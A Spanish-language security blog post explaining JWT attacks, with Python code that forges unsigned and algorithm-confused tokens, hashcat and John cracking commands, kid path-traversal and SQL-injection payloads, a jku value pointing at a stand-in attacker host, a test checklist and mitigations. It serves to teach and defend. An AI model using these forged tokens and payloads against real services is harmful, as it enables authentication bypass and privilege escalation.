17 de octubre de 2026 · 5 min de lectura

JWT attacks

Un JWT mal implementado es, en la práctica, una llave que el cliente lleva en el bolsillo y que el servidor confía en que nadie ha tocado. La mayoría…

jwtapiauth

Un JWT mal implementado es, en la práctica, una llave que el cliente lleva en el bolsillo y que el servidor confía en que nadie ha tocado. La mayoría de los ataques a JWT no rompen la criptografía: explotan decisiones de implementación que delegan en el token información que debería decidir el servidor.

Anatomía de un JWT

Un JWT son tres partes codificadas en Base64URL y separadas por puntos:

header.payload.signature
// Header
{ "alg": "HS256", "typ": "JWT" }

// Payload
{ "sub": "1234", "role": "user", "exp": 1735689600 }

La firma se calcula sobre base64(header) + "." + base64(payload). El payload no está cifrado, solo codificado: cualquiera puede leerlo con atob(). La seguridad del token depende por completo de que la firma sea correcta y de que el servidor la valide bien.

echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d

1. alg: none

La especificación JWT permite un algoritmo none, pensado para casos donde la integridad se garantiza de otra forma. Si el servidor no rechaza explícitamente este algoritmo, basta con generar un token sin firma:

import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=")

header = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())
payload = b64url(json.dumps({"sub": "1", "role": "admin"}).encode())

token = f"{header.decode()}.{payload.decode()}."
print(token)

Nota el punto final: la firma queda vacía. Algunas librerías aceptan también None, NONE o nOnE si el parseo del algoritmo no distingue mayúsculas.


2. Confusión de algoritmo (RS256 → HS256)

Este es el ataque más potente de la lista. Cuando una API usa RS256 (asimétrico), firma con una clave privada y verifica con la clave pública, que por definición es conocida o accesible (suele estar publicada en un endpoint /jwks.json o embebida en el cliente).

El problema aparece si la librería de verificación del servidor usa la misma función para HS256 y RS256, y el desarrollador no fuerza el algoritmo esperado. Entonces:

  1. El atacante consigue la clave pública RSA del servidor.
  2. Construye un nuevo token con "alg": "HS256".
  3. Firma el token usando la clave pública como si fuera la clave secreta de HMAC.
  4. El servidor, al verificar, trata el algoritmo como HS256, usa “la clave” (que es la pública) para comprobar un HMAC, y la firma coincide.
import jwt  # pyjwt

public_key = open("public.pem", "rb").read()

forged = jwt.encode(
    {"sub": "1", "role": "admin"},
    key=public_key,
    algorithm="HS256",
)
print(forged)

La causa raíz es confiar en el campo alg del propio token para decidir cómo verificarlo. La corrección correcta es que el servidor fije de antemano qué algoritmo espera y rechace cualquier token que declare otro.


3. Fuerza bruta de la clave secreta (HS256)

Si el token usa HS256 con una clave débil (una palabra común, un valor por defecto de un framework, "secret", el nombre de la empresa…), se puede crackear offline con el propio token válido, sin tocar el servidor:

hashcat -a 0 -m 16500 token.txt wordlist.txt
# John the Ripper, usando el script jwt2john incluido en muchas distros
python jwt2john.py token.txt > hash.txt
john hash.txt --wordlist=rockyou.txt

Una vez recuperada la clave, puedes firmar cualquier payload que quieras, incluyendo escalada de rol o impersonación de otro usuario.


4. Inyección vía el campo kid

El header kid (key ID) indica al servidor qué clave usar para verificar, típicamente para rotación de claves o multi-tenant. Si el servidor usa el valor de kid para construir una ruta de archivo, una consulta SQL o un comando, sin validarlo, se abre la puerta a varias inyecciones:

Path traversal, apuntando a un archivo conocido y predecible como clave:

{ "alg": "HS256", "kid": "../../../../dev/null" }

Si el servidor concatena kid en una ruta y usa su contenido como clave secreta, un archivo vacío o conocido (como /dev/null) te da una clave predecible con la que firmar.

SQL injection, si kid se usa en una consulta para buscar la clave:

{ "alg": "HS256", "kid": "1' UNION SELECT 'miclavesecreta'-- -" }

SSRF, si el servidor resuelve la clave a través de una URL indicada en kid o jku:

{ "alg": "RS256", "jku": "https://atacante.com/jwks.json" }

Con jku apuntando a un servidor propio, el atacante sirve su propio JWKS con una clave que él mismo controla, y firma tokens válidos según esa clave.


5. Manipulación del payload sin romper la firma

No siempre hace falta forjar una firma nueva. Si la API es vulnerable a inyección de parámetros en el momento de generar el token (por ejemplo, si el rol se toma de un parámetro no validado en el registro), el ataque ni siquiera toca el JWT: ataca el paso anterior, donde el servidor decide qué meter dentro.

También es habitual encontrar tokens sin exp (expiración) o con un exp absurdamente largo, lo que convierte un token robado en acceso indefinido. Revisa siempre:

{ "sub": "1", "role": "user" }  // sin exp: nunca caduca

6. Reutilización entre entornos (cross-environment)

Si la clave de firma es la misma en staging y en producción (error de configuración muy común), un token válido en el entorno de pruebas, normalmente más accesible o peor protegido, es también válido en producción.


Herramientas

  • jwt_tool: automatiza casi todos los ataques anteriores (alg none, confusión de algoritmo, fuzzing de claves débiles, kid injection).
python3 jwt_tool.py <token> -M at   # modo "all tests"
  • Burp Suite: extensión JSON Web Tokens, para interceptar y editar tokens al vuelo con recálculo automático de firma.
  • jwt.io: para decodificar y entender la estructura rápidamente (nunca pegues tokens reales de producción ahí).
  • hashcat / John the Ripper: para crackear claves HS256 débiles offline.

Checklist

# Vector Qué probar
1 alg: none Token sin firma, variando capitalización del algoritmo
2 Confusión RS256/HS256 Firmar con la clave pública como si fuera secreta HMAC
3 Clave débil Crackear offline con hashcat/John
4 kid injection Path traversal, SQLi, comandos
5 jku / x5u SSRF Apuntar a un JWKS propio
6 Payload sin validar Manipular role, sub, scope y volver a firmar si tienes la clave
7 Sin expiración Comprobar si falta exp o es excesivo
8 Reutilización entre entornos Probar un token de staging en producción
9 none disfrazado Algoritmos vacíos o no estándar aceptados por la librería

Mitigación

  1. Fijar el algoritmo esperado en el servidor, nunca confiar en el alg del token. La mayoría de librerías modernas permiten pasar una lista blanca explícita de algoritmos aceptados.
  2. Nunca usar la clave pública como secreto compartido. Si usas RS256, verifica siempre con la clave pública en modo asimétrico, no con una función genérica de HMAC.
  3. Claves HS256 largas y aleatorias (mínimo 256 bits), nunca un valor memorable o por defecto.
  4. Validar kid, jku y x5u contra una lista cerrada de valores permitidos, nunca resolverlos dinámicamente a partir de la entrada del cliente.
  5. Expiración corta (exp) y uso de refresh tokens para sesiones largas, en vez de un access token que no caduca nunca.
  6. Claves distintas por entorno, y rotación periódica.
  7. No confiar en el payload del JWT para datos sensibles que cambian con frecuencia (como permisos): si el rol de un usuario cambia, el token antiguo debería dejar de ser válido, lo que implica tener algún mecanismo de revocación (lista negra, versión del token, etc.), ya que un JWT es por diseño stateless.

Recursos recomendados

  • PortSwigger Web Security Academy – JWT attacks
  • OWASP – JSON Web Token Cheat Sheet
  • PayloadsAllTheThings – JSON Web Token
  • RFC 7519 – JSON Web Token (JWT)
  • jwt_tool (GitHub) – documentación de todos los modos de ataque